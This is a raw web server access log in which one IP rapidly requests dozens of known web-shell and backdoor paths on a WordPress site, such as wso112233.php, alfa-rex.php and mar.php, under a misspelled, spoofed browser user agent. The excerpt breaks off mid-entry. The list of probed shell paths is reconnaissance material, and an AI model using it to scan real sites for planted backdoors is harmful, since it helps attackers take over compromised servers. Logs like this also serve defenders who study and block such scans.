[16/Aug/2025:04:31:16 -0400] "GET /wp-includes/rest-api/themes.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:16 -0400] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:17 -0400] "GET /wp-includes/Requests/themes.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:17 -0400] "GET /wp-content/fonts/themes.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:17 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:18 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:18 -0400] "GET /wp-content/backups-dup-lite/themes.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:18 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:19 -0400] "GET /wp-includes/theme-compat/themes.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:19 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:19 -0400] "GET /css/themes.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:20 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:20 -0400] "GET /wp-includes/certificates/themes.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:21 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:21 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:21 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:22 -0400] "GET /fm1.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:22 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:22 -0400] "GET /wp-head.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:23 -0400] "GET /.well-known/index.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:23 -0400] "GET /goods.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:23 -0400] "GET /function/function.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:24 -0400] "GET /index/function.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:24 -0400] "GET /users.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:24 -0400] "GET /classwithtostring.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:25 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:25 -0400] "GET /ms.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:25 -0400] "GET /msl.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:26 -0400] "GET /plugin.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:26 -0400] "GET /wp-configs.php?p= HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:26 -0400] "GET /content.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:27 -0400] "GET /obfs.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:27 -0400] "GET /options-reading.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:27 -0400] "GET /ms-sites.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:28 -0400] "GET /edit-form-advanced.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:28 -0400] "GET /admin.php?p= HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:29 -0400] "GET /radio.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:29 -0400] "GET /themes.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:29 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.phpp HTTP/1.1" 301 273 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:30 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/wp-login.php HTTP/1.1" 301 275 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:30 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:30 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:31 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:31 -0400] "GET /weso.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:31 -0400] "GET /updates.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:32 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:32 -0400] "GET /web/libraries/legacy/updates.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:32 -0400] "GET /plugins/updates.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:33 -0400] "GET /includes/updates.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:33 -0400] "GET /logs/updates.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:33 -0400] "GET /templates/protostar/updates.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:34 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:34 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:35 -0400] "GET /wp.-.admin.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:35 -0400] "GET /.well-known/pki-validation/wp.-.admin.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:35 -0400] "GET /templates/beez3/wp.-.admin.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:35 -0400] "GET /libraries/wp.-.admin.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:36 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:36 -0400] "GET /wso112233.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:36 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:37 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:37 -0400] "GET /.well-known/pkivalidation/wso112233.php HTTP/1.1" 301 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:37 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:38 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:38 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:38 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:39 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:39 -0400] "GET /images/mar.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:39 -0400] "GET /images/mar.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:40 -0400] "GET /m4r1ju4n4.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:40 -0400] "GET /marijuana.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:41 -0400] "GET /wp-admin/css/colors/coffee/mari.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:41 -0400] "GET /wp-admin/css/colors/coffee/marijuana.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:42 -0400] "GET /wp-admin/css/colors/maro.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:42 -0400] "GET /wp-admin/css/mari.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:43 -0400] "GET /wp-content/plugins/owfsmac/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:44 -0400] "GET /wp-admin/css/maro.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:44 -0400] "GET /wp-admin/includes/mari.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:45 -0400] "GET /wp-admin/maint/mari.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:45 -0400] "GET /wp-admin/mari.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:46 -0400] "GET /wp-content/mari.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:46 -0400] "GET /wp-content/plugins/aryabot/mari.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:47 -0400] "GET /wp-content/plugins/aryabot/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:47 -0400] "GET /wp-content/plugins/owfsmac/maro.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:48 -0400] "GET /wp-includes/mari.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:48 -0400] "GET /alfa-rex.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:49 -0400] "GET 